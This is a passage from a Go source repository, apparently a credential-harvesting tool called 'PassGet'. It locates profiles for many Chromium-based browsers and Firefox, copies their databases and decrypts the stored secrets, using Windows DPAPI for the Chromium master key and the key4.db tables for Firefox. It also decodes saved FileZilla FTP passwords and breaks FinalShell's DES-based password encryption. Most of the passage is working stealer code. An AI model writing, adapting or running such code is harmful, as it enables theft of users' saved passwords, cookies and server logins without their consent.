storage 113 | // TODO: support unicode charter 114 | func (s *session) fillValue(b []byte) { 115 | value := bytes.Map(byteutil.OnSplitUTF8Func, b) 116 | s.Value = string(value) 117 | } 118 | 119 | type FirefoxSessionStorage []session 120 | 121 | const ( 122 | querySessionStorage = `SELECT originKey, key, value FROM webappsstore2` 123 | closeJournalMode = `PRAGMA journal_mode=off` 124 | ) 125 | 126 | func (f *FirefoxSessionStorage) Extract(_ []byte) error { 127 | db, err := sql.Open("sqlite", types.FirefoxSessionStorage.TempFilename()) 128 | if err != nil { 129 | return err 130 | } 131 | defer os.Remove(types.FirefoxSessionStorage.TempFilename()) 132 | defer db.Close() 133 | 134 | _, err = db.Exec(closeJournalMode) 135 | if err != nil { 136 | log.Debugf("close journal mode error: %v", err) 137 | } 138 | rows, err := db.Query(querySessionStorage) 139 | if err != nil { 140 | return err 141 | } 142 | defer rows.Close() 143 | for rows.Next() { 144 | var originKey, key, value string 145 | if err = rows.Scan(&originKey, &key, &value); err != nil { 146 | log.Debugf("scan session storage error: %v", err) 147 | } 148 | s := new(session) 149 | s.fillFirefox(originKey, key, value) 150 | *f = append(*f, *s) 151 | } 152 | return nil 153 | } 154 | 155 | func (s *session) fillFirefox(originKey, key, value string) { 156 | // originKey = moc.buhtig.:https:443 157 | p := strings.Split(originKey, ":") 158 | h := typeutil.Reverse([]byte(p[0])) 159 | if bytes.HasPrefix(h, []byte(".")) { 160 | h = h[1:] 161 | } 162 | if len(p) == 3 { 163 | s.URL = fmt.Sprintf("%s://%s:%s", p[1], string(h), p[2]) 164 | } 165 | s.Key = key 166 | s.Value = value 167 | } 168 | 169 | func (f *FirefoxSessionStorage) Name() string { 170 | return "sessionStorage" 171 | } 172 | 173 | func (f *FirefoxSessionStorage) Len() int { 174 | return len(*f) 175 | } 176 | -------------------------------------------------------------------------------- /modules/browser/pick/browser.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | import ( 4 | "path/filepath" 5 | "sort" 6 | "strings" 7 | 8 | "PassGet/modules/browser/browserdata" 9 | "PassGet/modules/browser/pick/chromium" 10 | "PassGet/modules/browser/pick/firefox" 11 | "PassGet/modules/utils/browser/fileutil" 12 | "PassGet/modules/utils/browser/typeutil" 13 | ) 14 | 15 | type Browser interface { 16 | // Name is browser's name 17 | Name() string 18 | // BrowsingData returns all browsing data in the browser. 19 | BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) 20 | } 21 | 22 | // PickBrowsers returns a list of browsers that match the name and profile. 23 | func PickBrowsers(name, profile string) ([]Browser, error) { 24 | var browsers []Browser 25 | clist := pickChromium(name, profile) 26 | for _, b := range clist { 27 | if b != nil { 28 | browsers = append(browsers, b) 29 | } 30 | } 31 | flist := pickFirefox(name, profile) 32 | for _, b := range flist { 33 | if b != nil { 34 | browsers = append(browsers, b) 35 | } 36 | } 37 | return browsers, nil 38 | } 39 | 40 | func pickChromium(name, profile string) []Browser { 41 | var browsers []Browser 42 | name = strings.ToLower(name) 43 | if name == "all" { 44 | for _, v := range chromiumList { 45 | if !fileutil.IsDirExists(filepath.Clean(v.profilePath)) { 46 | //log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name) 47 | continue 48 | } 49 | multiChromium, err := chromium.New(v.name, v.storage, v.profilePath, v.dataTypes) 50 | if err != nil { 51 | //log.Errorf("new chromium error %v", err) 52 | continue 53 | } 54 | for _, b := range multiChromium { 55 | //log.Warnf("find browser success, browser %s", b.Name()) 56 | browsers = append(browsers, b) 57 | } 58 | } 59 | } 60 | if c, ok := chromiumList[name]; ok { 61 | if profile == "" { 62 | profile = c.profilePath 63 | } 64 | if !fileutil.IsDirExists(filepath.Clean(profile)) { 65 | //log.Errorf("find browser failed, profile folder does not exist, browser %s", c.name) 66 | } 67 | chromes, err := chromium.New(c.name, c.storage, profile, c.dataTypes) 68 | if err != nil { 69 | //log.Errorf("new chromium error %v", err) 70 | } 71 | for _, chrome := range chromes { 72 | //log.Warnf("find browser success, browser %s", chrome.Name()) 73 | browsers = append(browsers, chrome) 74 | } 75 | } 76 | return browsers 77 | } 78 | 79 | func pickFirefox(name, profile string) []Browser { 80 | var browsers []Browser 81 | name = strings.ToLower(name) 82 | if name == "all" || name == "firefox" { 83 | for _, v := range firefoxList { 84 | if profile == "" { 85 | profile = v.profilePath 86 | } else { 87 | profile = fileutil.ParentDir(profile) 88 | } 89 | 90 | if !fileutil.IsDirExists(filepath.Clean(profile)) { 91 | //log.Warnf("find browser failed, profile folder does not exist, browser %s", v.name) 92 | continue 93 | } 94 | 95 | if multiFirefox, err := firefox.New(profile, v.dataTypes); err == nil { 96 | for _, b := range multiFirefox { 97 | //log.Warnf("find browser success, browser %s", b.Name()) 98 | browsers = append(browsers, b) 99 | } 100 | } else { 101 | //log.Errorf("new firefox error %v", err) 102 | } 103 | } 104 | 105 | return browsers 106 | } 107 | 108 | return nil 109 | } 110 | 111 | func ListBrowsers() []string { 112 | var l []string 113 | l = append(l, typeutil.Keys(chromiumList)...) 114 | l = append(l, typeutil.Keys(firefoxList)...) 115 | sort.Strings(l) 116 | return l 117 | } 118 | 119 | func Names() string { 120 | return strings.Join(ListBrowsers(), "|") 121 | } 122 | -------------------------------------------------------------------------------- /modules/browser/pick/browser_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package browser 4 | 5 | import ( 6 | "PassGet/modules/utils/browser/types" 7 | ) 8 | 9 | var ( 10 | chromiumList = map[string]struct { 11 | name string 12 | profilePath string 13 | storage string 14 | dataTypes []types.DataType 15 | }{ 16 | "chrome": { 17 | name: chromeName, 18 | profilePath: chromeUserDataPath, 19 | dataTypes: types.DefaultChromiumTypes, 20 | }, 21 | "edge": { 22 | name: edgeName, 23 | profilePath: edgeProfilePath, 24 | dataTypes: types.DefaultChromiumTypes, 25 | }, 26 | "chromium": { 27 | name: chromiumName, 28 | profilePath: chromiumUserDataPath, 29 | dataTypes: types.DefaultChromiumTypes, 30 | }, 31 | "chrome-beta": { 32 | name: chromeBetaName, 33 | profilePath: chromeBetaUserDataPath, 34 | dataTypes: types.DefaultChromiumTypes, 35 | }, 36 | "opera": { 37 | name: operaName, 38 | profilePath: operaProfilePath, 39 | dataTypes: types.DefaultChromiumTypes, 40 | }, 41 | "opera-gx": { 42 | name: operaGXName, 43 | profilePath: operaGXProfilePath, 44 | dataTypes: types.DefaultChromiumTypes, 45 | }, 46 | "vivaldi": { 47 | name: vivaldiName, 48 | profilePath: vivaldiProfilePath, 49 | dataTypes: types.DefaultChromiumTypes, 50 | }, 51 | "coccoc": { 52 | name: coccocName, 53 | profilePath: coccocProfilePath, 54 | dataTypes: types.DefaultChromiumTypes, 55 | }, 56 | "brave": { 57 | name: braveName, 58 | profilePath: braveProfilePath, 59 | dataTypes: types.DefaultChromiumTypes, 60 | }, 61 | "yandex": { 62 | name: yandexName, 63 | profilePath: yandexProfilePath, 64 | dataTypes: types.DefaultYandexTypes, 65 | }, 66 | "360": { 67 | name: speed360Name, 68 | profilePath: speed360ProfilePath, 69 | dataTypes: types.DefaultChromiumTypes, 70 | }, 71 | "qq": { 72 | name: qqBrowserName, 73 | profilePath: qqBrowserProfilePath, 74 | dataTypes: types.DefaultChromiumTypes, 75 | }, 76 | "dc": { 77 | name: dcBrowserName, 78 | profilePath: dcBrowserProfilePath, 79 | dataTypes: types.DefaultChromiumTypes, 80 | }, 81 | "sogou": { 82 | name: sogouName, 83 | profilePath: sogouProfilePath, 84 | dataTypes: types.DefaultChromiumTypes, 85 | }, 86 | } 87 | firefoxList = map[string]struct { 88 | name string 89 | storage string 90 | profilePath string 91 | dataTypes []types.DataType 92 | }{ 93 | "firefox": { 94 | name: firefoxName, 95 | profilePath: firefoxProfilePath, 96 | dataTypes: types.DefaultFirefoxTypes, 97 | }, 98 | } 99 | ) 100 | 101 | var ( 102 | chromeUserDataPath = homeDir + "/AppData/Local/Google/Chrome/User Data/Default/" 103 | chromeBetaUserDataPath = homeDir + "/AppData/Local/Google/Chrome Beta/User Data/Default/" 104 | chromiumUserDataPath = homeDir + "/AppData/Local/Chromium/User Data/Default/" 105 | edgeProfilePath = homeDir + "/AppData/Local/Microsoft/Edge/User Data/Default/" 106 | braveProfilePath = homeDir + "/AppData/Local/BraveSoftware/Brave-Browser/User Data/Default/" 107 | speed360ProfilePath = homeDir + "/AppData/Local/360chrome/Chrome/User Data/Default/" 108 | qqBrowserProfilePath = homeDir + "/AppData/Local/Tencent/QQBrowser/User Data/Default/" 109 | operaProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera Stable/" 110 | operaGXProfilePath = homeDir + "/AppData/Roaming/Opera Software/Opera GX Stable/" 111 | vivaldiProfilePath = homeDir + "/AppData/Local/Vivaldi/User Data/Default/" 112 | coccocProfilePath = homeDir + "/AppData/Local/CocCoc/Browser/User Data/Default/" 113 | yandexProfilePath = homeDir + "/AppData/Local/Yandex/YandexBrowser/User Data/Default/" 114 | dcBrowserProfilePath = homeDir + "/AppData/Local/DCBrowser/User Data/Default/" 115 | sogouProfilePath = homeDir + "/AppData/Roaming/SogouExplorer/Webkit/Default/" 116 | 117 | firefoxProfilePath = homeDir + "/AppData/Roaming/Mozilla/Firefox/Profiles/" 118 | ) 119 | -------------------------------------------------------------------------------- /modules/browser/pick/chromium/chromium.go: -------------------------------------------------------------------------------- 1 | package chromium 2 | 3 | import ( 4 | "PassGet/modules/browser/browserdata" 5 | "PassGet/modules/utils/browser/fileutil" 6 | "PassGet/modules/utils/browser/types" 7 | "PassGet/modules/utils/browser/typeutil" 8 | "io/fs" 9 | "os" 10 | "path/filepath" 11 | "strings" 12 | ) 13 | 14 | type Chromium struct { 15 | name string 16 | storage string 17 | profilePath string 18 | masterKey []byte 19 | dataTypes []types.DataType 20 | Paths map[types.DataType]string 21 | } 22 | 23 | // New create instance of Chromium browser, fill item's path if item is existed. 24 | func New(name, storage, profilePath string, dataTypes []types.DataType) ([]*Chromium, error) { 25 | c := &Chromium{ 26 | name: name, 27 | storage: storage, 28 | profilePath: profilePath, 29 | dataTypes: dataTypes, 30 | } 31 | multiDataTypePaths, err := c.userDataTypePaths(c.profilePath, c.dataTypes) 32 | if err != nil { 33 | return nil, err 34 | } 35 | chromiumList := make([]*Chromium, 0, len(multiDataTypePaths)) 36 | for user, itemPaths := range multiDataTypePaths { 37 | chromiumList = append(chromiumList, &Chromium{ 38 | name: fileutil.BrowserName(name, user), 39 | dataTypes: typeutil.Keys(itemPaths), 40 | Paths: itemPaths, 41 | storage: storage, 42 | }) 43 | } 44 | return chromiumList, nil 45 | } 46 | 47 | func (c *Chromium) Name() string { 48 | return c.name 49 | } 50 | 51 | func (c *Chromium) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) { 52 | // delete chromiumKey from dataTypes, doesn't need to export key 53 | var dataTypes []types.DataType 54 | for _, dt := range c.dataTypes { 55 | if dt != types.ChromiumKey { 56 | dataTypes = append(dataTypes, dt) 57 | } 58 | } 59 | 60 | if !isFullExport { 61 | dataTypes = types.FilterSensitiveItems(c.dataTypes) 62 | } 63 | 64 | data := browserdata.New(dataTypes) 65 | 66 | if err := c.copyItemToLocal(); err != nil { 67 | return nil, err 68 | } 69 | 70 | masterKey, err := c.GetMasterKey() 71 | if err != nil { 72 | return nil, err 73 | } 74 | 75 | c.masterKey = masterKey 76 | if err := data.Recovery(c.masterKey); err != nil { 77 | return nil, err 78 | } 79 | 80 | return data, nil 81 | } 82 | 83 | func (c *Chromium) copyItemToLocal() error { 84 | for i, path := range c.Paths { 85 | filename := i.TempFilename() 86 | var err error 87 | switch { 88 | case fileutil.IsDirExists(path): 89 | if i == types.ChromiumLocalStorage { 90 | err = fileutil.CopyDir(path, filename, "lock") 91 | } 92 | if i == types.ChromiumSessionStorage { 93 | err = fileutil.CopyDir(path, filename, "lock") 94 | } 95 | default: 96 | err = fileutil.CopyFile(path, filename) 97 | } 98 | if err != nil { 99 | //log.Errorf("copy item to local, path %s, filename %s err %v", path, filename, err) 100 | continue 101 | } 102 | } 103 | return nil 104 | } 105 | 106 | // userDataTypePaths return a map of user to item path, map[profile 1][item's name & path key pair] 107 | func (c *Chromium) userDataTypePaths(profilePath string, items []types.DataType) (map[string]map[types.DataType]string, error) { 108 | multiItemPaths := make(map[string]map[types.DataType]string) 109 | parentDir := fileutil.ParentDir(profilePath) 110 | err := filepath.Walk(parentDir, chromiumWalkFunc(items, multiItemPaths)) 111 | if err != nil { 112 | return nil, err 113 | } 114 | var keyPath string 115 | var dir string 116 | for userDir, profiles := range multiItemPaths { 117 | for _, profile := range profiles { 118 | if strings.HasSuffix(profile, types.ChromiumKey.Filename()) { 119 | keyPath = profile 120 | dir = userDir 121 | break 122 | } 123 | } 124 | } 125 | t := make(map[string]map[types.DataType]string) 126 | for userDir, v := range multiItemPaths { 127 | if userDir == dir { 128 | continue 129 | } 130 | t[userDir] = v 131 | t[userDir][types.ChromiumKey] = keyPath 132 | fillLocalStoragePath(t[userDir], types.ChromiumLocalStorage) 133 | } 134 | return t, nil 135 | } 136 | 137 | // chromiumWalkFunc return a filepath.WalkFunc to find item's path 138 | func chromiumWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) filepath.WalkFunc { 139 | return func(path string, info fs.FileInfo, err error) error { 140 | if err != nil { 141 | if os.IsPermission(err) { 142 | //log.Warnf("skipping walk chromium path permission error, path %s, err %v", path, err) 143 | return nil 144 | } 145 | return err 146 | } 147 | for _, v := range items { 148 | if info.Name() != v.Filename() { 149 | continue 150 | } 151 | if strings.Contains(path, "System Profile") { 152 | continue 153 | } 154 | if strings.Contains(path, "Snapshot") { 155 | continue 156 | } 157 | if strings.Contains(path, "def") { 158 | continue 159 | } 160 | profileFolder := fileutil.ParentBaseDir(path) 161 | if strings.Contains(filepath.ToSlash(path), "/Network/Cookies") { 162 | profileFolder = fileutil.BaseDir(strings.ReplaceAll(filepath.ToSlash(path), "/Network/Cookies", "")) 163 | } 164 | if _, exist := multiItemPaths[profileFolder]; exist { 165 | multiItemPaths[profileFolder][v] = path 166 | } else { 167 | multiItemPaths[profileFolder] = map[types.DataType]string{v: path} 168 | } 169 | } 170 | return nil 171 | } 172 | } 173 | 174 | func fillLocalStoragePath(itemPaths map[types.DataType]string, storage types.DataType) { 175 | if p, ok := itemPaths[types.ChromiumHistory]; ok { 176 | lsp := filepath.Join(filepath.Dir(p), storage.Filename()) 177 | if fileutil.IsDirExists(lsp) { 178 | itemPaths[types.ChromiumLocalStorage] = lsp 179 | } 180 | } 181 | } 182 | -------------------------------------------------------------------------------- /modules/browser/pick/chromium/chromium_windows.go: -------------------------------------------------------------------------------- 1 | //go:build windows 2 | 3 | package chromium 4 | 5 | import ( 6 | "encoding/base64" 7 | "errors" 8 | "os" 9 | 10 | "PassGet/log" 11 | "PassGet/modules/utils/browser/crypto" 12 | "PassGet/modules/utils/browser/fileutil" 13 | "PassGet/modules/utils/browser/types" 14 | "github.com/tidwall/gjson" 15 | ) 16 | 17 | var errDecodeMasterKeyFailed = errors.New("decode master key failed") 18 | 19 | func (c *Chromium) GetMasterKey() ([]byte, error) { 20 | b, err := fileutil.ReadFile(types.ChromiumKey.TempFilename()) 21 | if err != nil { 22 | return nil, err 23 | } 24 | defer os.Remove(types.ChromiumKey.TempFilename()) 25 | 26 | encryptedKey := gjson.Get(b, "os_crypt.encrypted_key") 27 | if !encryptedKey.Exists() { 28 | return nil, nil 29 | } 30 | 31 | key, err := base64.StdEncoding.DecodeString(encryptedKey.String()) 32 | if err != nil { 33 | return nil, errDecodeMasterKeyFailed 34 | } 35 | c.masterKey, err = crypto.DecryptWithDPAPI(key[5:]) 36 | if err != nil { 37 | log.Errorf("decrypt master key failed, err %v", err) 38 | return nil, err 39 | } 40 | log.Debugf("get master key success, browser %s", c.name) 41 | return c.masterKey, nil 42 | } 43 | -------------------------------------------------------------------------------- /modules/browser/pick/consts.go: -------------------------------------------------------------------------------- 1 | package browser 2 | 3 | import ( 4 | "os" 5 | ) 6 | 7 | // home dir path for all platforms 8 | var homeDir, _ = os.UserHomeDir() 9 | 10 | const ( 11 | chromeName = "Chrome" 12 | chromeBetaName = "Chrome Beta" 13 | chromiumName = "Chromium" 14 | edgeName = "Microsoft Edge" 15 | braveName = "Brave" 16 | operaName = "Opera" 17 | operaGXName = "OperaGX" 18 | vivaldiName = "Vivaldi" 19 | coccocName = "CocCoc" 20 | yandexName = "Yandex" 21 | firefoxName = "Firefox" 22 | speed360Name = "360speed" 23 | qqBrowserName = "QQ" 24 | dcBrowserName = "DC" 25 | sogouName = "Sogou" 26 | arcName = "Arc" 27 | ) 28 | -------------------------------------------------------------------------------- /modules/browser/pick/firefox/firefox.go: -------------------------------------------------------------------------------- 1 | package firefox 2 | 3 | import ( 4 | "bytes" 5 | "database/sql" 6 | "errors" 7 | "fmt" 8 | "io/fs" 9 | "os" 10 | "path/filepath" 11 | 12 | _ "modernc.org/sqlite" // sqlite3 driver TODO: replace with chooseable driver 13 | 14 | //"PassGet/log" 15 | "PassGet/modules/browser/browserdata" 16 | "PassGet/modules/utils/browser/crypto" 17 | "PassGet/modules/utils/browser/fileutil" 18 | "PassGet/modules/utils/browser/types" 19 | "PassGet/modules/utils/browser/typeutil" 20 | ) 21 | 22 | type Firefox struct { 23 | name string 24 | storage string 25 | profilePath string 26 | masterKey []byte 27 | items []types.DataType 28 | itemPaths map[types.DataType]string 29 | } 30 | 31 | var ErrProfilePathNotFound = errors.New("profile path not found") 32 | 33 | // New returns new Firefox instances. 34 | func New(profilePath string, items []types.DataType) ([]*Firefox, error) { 35 | multiItemPaths := make(map[string]map[types.DataType]string) 36 | // ignore walk dir error since it can be produced by a single entry 37 | _ = filepath.WalkDir(profilePath, firefoxWalkFunc(items, multiItemPaths)) 38 | 39 | firefoxList := make([]*Firefox, 0, len(multiItemPaths)) 40 | for name, itemPaths := range multiItemPaths { 41 | firefoxList = append(firefoxList, &Firefox{ 42 | name: fmt.Sprintf("firefox-%s", name), 43 | items: typeutil.Keys(itemPaths), 44 | itemPaths: itemPaths, 45 | }) 46 | } 47 | 48 | return firefoxList, nil 49 | } 50 | 51 | func (f *Firefox) copyItemToLocal() error { 52 | for i, path := range f.itemPaths { 53 | filename := i.TempFilename() 54 | if err := fileutil.CopyFile(path, filename); err != nil { 55 | return err 56 | } 57 | } 58 | return nil 59 | } 60 | 61 | func firefoxWalkFunc(items []types.DataType, multiItemPaths map[string]map[types.DataType]string) fs.WalkDirFunc { 62 | return func(path string, info fs.DirEntry, err error) error { 63 | if err != nil { 64 | if os.IsPermission(err) { 65 | //log.Warnf("skipping walk firefox path %s permission error: %v", path, err) 66 | return nil 67 | } 68 | return err 69 | } 70 | for _, v := range items { 71 | if info.Name() == v.Filename() { 72 | parentBaseDir := fileutil.ParentBaseDir(path) 73 | if _, exist := multiItemPaths[parentBaseDir]; exist { 74 | multiItemPaths[parentBaseDir][v] = path 75 | } else { 76 | multiItemPaths[parentBaseDir] = map[types.DataType]string{v: path} 77 | } 78 | } 79 | } 80 | 81 | return nil 82 | } 83 | } 84 | 85 | // GetMasterKey returns master key of Firefox. from key4.db 86 | func (f *Firefox) GetMasterKey() ([]byte, error) { 87 | tempFilename := types.FirefoxKey4.TempFilename() 88 | 89 | // Open and defer close of the database. 90 | keyDB, err := sql.Open("sqlite", tempFilename) 91 | if err != nil { 92 | return nil, fmt.Errorf("open key4.db error: %w", err) 93 | } 94 | defer os.Remove(tempFilename) 95 | defer keyDB.Close() 96 | 97 | metaItem1, metaItem2, err := queryMetaData(keyDB) 98 | if err != nil { 99 | return nil, fmt.Errorf("query metadata error: %w", err) 100 | } 101 | 102 | nssA11, nssA102, err := queryNssPrivate(keyDB) 103 | if err != nil { 104 | return nil, fmt.Errorf("query NSS private error: %w", err) 105 | } 106 | 107 | return processMasterKey(metaItem1, metaItem2, nssA11, nssA102) 108 | } 109 | 110 | func queryMetaData(db *sql.DB) ([]byte, []byte, error) { 111 | const query = `SELECT item1, item2 FROM metaData WHERE id = 'password'` 112 | var metaItem1, metaItem2 []byte 113 | if err := db.QueryRow(query).Scan(&metaItem1, &metaItem2); err != nil { 114 | return nil, nil, err 115 | } 116 | return metaItem1, metaItem2, nil 117 | } 118 | 119 | func queryNssPrivate(db *sql.DB) ([]byte, []byte, error) { 120 | const query = `SELECT a11, a102 from nssPrivate` 121 | var nssA11, nssA102 []byte 122 | if err := db.QueryRow(query).Scan(&nssA11, &nssA102); err != nil { 123 | return nil, nil, err 124 | } 125 | return nssA11, nssA102, nil 126 | } 127 | 128 | // processMasterKey process master key of Firefox. 129 | // Process the metaBytes and nssA11 with the corresponding cryptographic operations. 130 | func processMasterKey(metaItem1, metaItem2, nssA11, nssA102 []byte) ([]byte, error) { 131 | metaPBE, err := crypto.NewASN1PBE(metaItem2) 132 | if err != nil { 133 | return nil, fmt.Errorf("error creating ASN1PBE from metaItem2: %w", err) 134 | } 135 | 136 | flag, err := metaPBE.Decrypt(metaItem1) 137 | if err != nil { 138 | return nil, fmt.Errorf("error decrypting master key: %w", err) 139 | } 140 | const passwordCheck = "password-check" 141 | 142 | if !bytes.Contains(flag, []byte(passwordCheck)) { 143 | return nil, errors.New("flag verification failed: password-check not found") 144 | } 145 | 146 | keyLin := []byte{248, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1} 147 | if !bytes.Equal(nssA102, keyLin) { 148 | return nil, errors.New("master key verification failed: nssA102 not equal to expected value") 149 | } 150 | 151 | nssA11PBE, err := crypto.NewASN1PBE(nssA11) 152 | if err != nil { 153 | return nil, fmt.Errorf("error creating ASN1PBE from nssA11: %w", err) 154 | } 155 | 156 | finallyKey, err := nssA11PBE.Decrypt(metaItem1) 157 | if err != nil { 158 | return nil, fmt.Errorf("error decrypting final key: %w", err) 159 | } 160 | if len(finallyKey) < 24 { 161 | return nil, errors.New("length of final key is less than 24 bytes") 162 | } 163 | return finallyKey[:24], nil 164 | } 165 | 166 | func (f *Firefox) Name() string { 167 | return f.name 168 | } 169 | 170 | func (f *Firefox) BrowsingData(isFullExport bool) (*browserdata.BrowserData, error) { 171 | dataTypes := f.items 172 | if !isFullExport { 173 | dataTypes = types.FilterSensitiveItems(f.items) 174 | } 175 | 176 | data := browserdata.New(dataTypes) 177 | 178 | if err := f.copyItemToLocal(); err != nil { 179 | return nil, err 180 | } 181 | 182 | masterKey, err := f.GetMasterKey() 183 | if err != nil { 184 | return nil, err 185 | } 186 | 187 | f.masterKey = masterKey 188 | if err := data.Recovery(f.masterKey); err != nil { 189 | return nil, err 190 | } 191 | return data, nil 192 | } 193 | -------------------------------------------------------------------------------- /modules/filezilla/filezilla.go: -------------------------------------------------------------------------------- 1 | package filezilla 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "encoding/base64" 6 | "encoding/xml" 7 | "fmt" 8 | "log" 9 | "os" 10 | "strings" 11 | ) 12 | 13 | type Server struct { 14 | Host string `xml:"Host"` 15 | Port string `xml:"Port"` 16 | User string `xml:"User"` 17 | Pass string `xml:"Pass"` 18 | Password string 19 | } 20 | type ServerDetails struct { 21 | RecentServers struct { 22 | Server []Server `xml:"Server"` 23 | } `xml:"RecentServers"` 24 | } 25 | 26 | func Get() []Server { 27 | files, _, err := utils.ListFilesAndDirs(utils.FileZillaProfilesDir) 28 | if err != nil { 29 | log.Println(err) 30 | return nil 31 | } 32 | for _, file := range files { 33 | if strings.Contains(file, utils.FileZillaProfile1) || strings.Contains(file, utils.FileZillaProfile2) { 34 | FtpServerDetails := GetServerDetails(file) 35 | if FtpServerDetails == nil { 36 | return nil 37 | } 38 | Servers := make([]Server, 0) 39 | for _, server := range FtpServerDetails.RecentServers.Server { 40 | if server.Pass != "" { 41 | decoded, err := base64.StdEncoding.DecodeString(server.Pass) 42 | if err != nil { 43 | continue 44 | } 45 | server.Password = string(decoded) 46 | Servers = append(Servers, server) 47 | continue 48 | } 49 | Servers = append(Servers, server) 50 | } 51 | return Servers 52 | } 53 | } 54 | return nil 55 | } 56 | func GetServerDetails(filename string) *ServerDetails { 57 | file, err := os.Open(filename) 58 | if err != nil { 59 | fmt.Println("Error opening file:", err) 60 | return nil 61 | } 62 | defer file.Close() 63 | ClientConfigFile := new(ServerDetails) 64 | decoder := xml.NewDecoder(file) 65 | err = decoder.Decode(ClientConfigFile) 66 | if err != nil { 67 | fmt.Println("Error decoding XML:", err) 68 | return nil 69 | } 70 | return ClientConfigFile 71 | } 72 | -------------------------------------------------------------------------------- /modules/finalshell/decrypt.go: -------------------------------------------------------------------------------- 1 | package finalshell 2 | 3 | import ( 4 | "bytes" 5 | "crypto/des" 6 | "crypto/md5" 7 | "encoding/base64" 8 | "encoding/binary" 9 | "fmt" 10 | "regexp" 11 | ) 12 | 13 | func removeNonPrintableChars(input string) string { 14 | re := regexp.MustCompile(`[\x00-\x1F\x7F-\x9F]`) 15 | return re.ReplaceAllString(input, "") 16 | } 17 | 18 | type Random struct { 19 | seed int64 20 | } 21 | 22 | func NewRandom(seed int64) *Random { 23 | return &Random{seed: (seed ^ 0x5DEECE66D) & ((1 << 48) - 1)} 24 | } 25 | 26 | func (r *Random) next(bits int) int64 { 27 | r.seed = (r.seed*0x5DEECE66D + 0xB) & ((1 << 48) - 1) 28 | value := r.seed >> (48 - bits) 29 | if value < (1 << (bits - 1)) { 30 | return value 31 | } 32 | return value - (1 << bits) 33 | } 34 | 35 | func (r *Random) nextLong() int64 { 36 | return (r.next(32) << 32) + r.next(32) 37 | } 38 | 39 | // DES解密 40 | func desDecode(data []byte, key []byte) ([]byte, error) { 41 | block, err := des.NewCipher(key) 42 | if err != nil { 43 | return nil, err 44 | } 45 | 46 | if len(data)%8 != 0 { 47 | return nil, fmt.Errorf("data length is not a multiple of 8") 48 | } 49 | 50 | dst := make([]byte, len(data)) 51 | for i := 0; i < len(data); i += 8 { 52 | block.Decrypt(dst[i:i+8], data[i:i+8]) 53 | } 54 | return dst, nil 55 | } 56 | 57 | // 随机密钥生成 58 | func randomKey(head []byte) []byte { 59 | ilist := []int{24, 54, 89, 120, 19, 49, 85, 115, 14, 44, 80, 110, 9, 40, 75, 106, 43, 73, 109, 12, 38, 68, 104, 7, 33, 64, 60 | 99, 3, 28, 59, 94, 125, 112, 16, 51, 82, 107, 11, 46, 77, 103, 6, 41, 72, 98, 1, 37, 67, 4, 35, 70, 101, 0, 61 | 30, 65, 96, 122, 25, 61, 91, 117, 20, 56, 86, 74, 104, 13, 43, 69, 99, 8, 38, 64, 95, 3, 34, 59, 90, 125, 62 | 29, 93, 123, 32, 62, 88, 119, 27, 58, 83, 114, 22, 53, 79, 109, 17, 48, 35, 66, 101, 5, 31, 61, 96, 0, 26, 63 | 56, 92, 122, 21, 51, 87, 117, 55, 85, 120, 24, 50, 80, 116, 19, 45, 75, 111, 14, 40, 71, 106, 10, 50, 81, 64 | 116, 20, 45, 76, 111, 15, 41, 71, 106, 10, 36, 66, 102, 5, 69, 100, 8, 39, 65, 95, 3, 34, 60, 90, 126, 29, 65 | 55, 85, 121, 24, 12, 42, 78, 108, 7, 37, 73, 103, 2, 33, 68, 99, 124, 28, 63, 94, 31, 61, 97, 0, 26, 57, 66 | 92, 123, 21, 52, 87, 118, 17, 47, 82, 113, 100, 4, 39, 70, 96, 126, 34, 65, 91, 121, 30, 60, 86, 116, 25, 67 | 55, 120, 23, 58, 89, 115, 18, 54, 84, 110, 13, 49, 79, 105, 9, 44, 75, 62, 92, 1, 31, 57, 88, 123, 27, 52, 68 | 83, 118, 22, 48, 78, 113, 17, 81, 112, 20, 51, 76, 107, 15, 46, 72, 102, 10, 41, 67, 97, 6, 36} 69 | i := ilist[head[5]] 70 | ks := 3680984568597093857 / int64(i) 71 | rand1 := NewRandom(ks) 72 | t := head[0] 73 | 74 | for j := 0; j < int(t); j++ { 75 | rand1.nextLong() 76 | } 77 | 78 | n := rand1.nextLong() 79 | rand2 := NewRandom(n) 80 | 81 | ld := []int64{ 82 | int64(head[4]), rand2.nextLong(), int64(head[7]), int64(head[3]), rand2.nextLong(), int64(head[1]), rand1.nextLong(), int64(head[2]), 83 | } 84 | 85 | byteStream := new(bytes.Buffer) 86 | for _, l := range ld { 87 | err := binary.Write(byteStream, binary.BigEndian, l) 88 | if err != nil { 89 | return nil 90 | } 91 | } 92 | 93 | keyData := md5Hash(byteStream.Bytes())[:8] 94 | return keyData 95 | } 96 | func md5Hash(data []byte) []byte { 97 | hash := md5.Sum(data) 98 | return hash[:] 99 | } 100 | func Decrypt(data string) (string, error) { 101 | if data == "" { 102 | return "", fmt.Errorf("empty data") 103 | } 104 | 105 | buf, err := base64.StdEncoding.DecodeString(data) 106 | if err != nil { 107 | return "", err 108 | } 109 | 110 | head := buf[:8] 111 | d := buf[8:] 112 | 113 | key := randomKey(head) 114 | 115 | bt, err := desDecode(d, key) 116 | if err != nil { 117 | return "", err 118 | } 119 | 120 | return removeNonPrintableChars(string(bt)), nil 121 | } 122 | -------------------------------------------------------------------------------- /modules/finalshell/finalshell.go: -------------------------------------------------------------------------------- 1 | package finalshell 2 | 3 | import ( 4 | "PassGet/modules/utils" 5 | "encoding/json" 6 | "fmt" 7 | "github.com/parsiya/golnk" 8 | "log" 9 | "os" 10 | "strings" 11 | ) 12 | 13 | func Get(Path string) (*ClientConfig, []ServerDetail) { 14 | if Path == "" { 15 | WorkDir := GetInstallPath() 16 | Path = WorkDir 17 | } 18 | ConnFileList, _, _ := utils.ListFilesAndDirs(Path + `\conn`) 19 | return GetClientConfig(Path), GetConnDetails(ConnFileList) 20 | } 21 | 22 | func GetInstallPath() string { 23 | WorkDir := "" 24 | for _, dir := range utils.WindowsDirs { 25 | files, _, err := utils.ListFilesAndDirs(dir) 26 | if err != nil { 27 | continue 28 | } 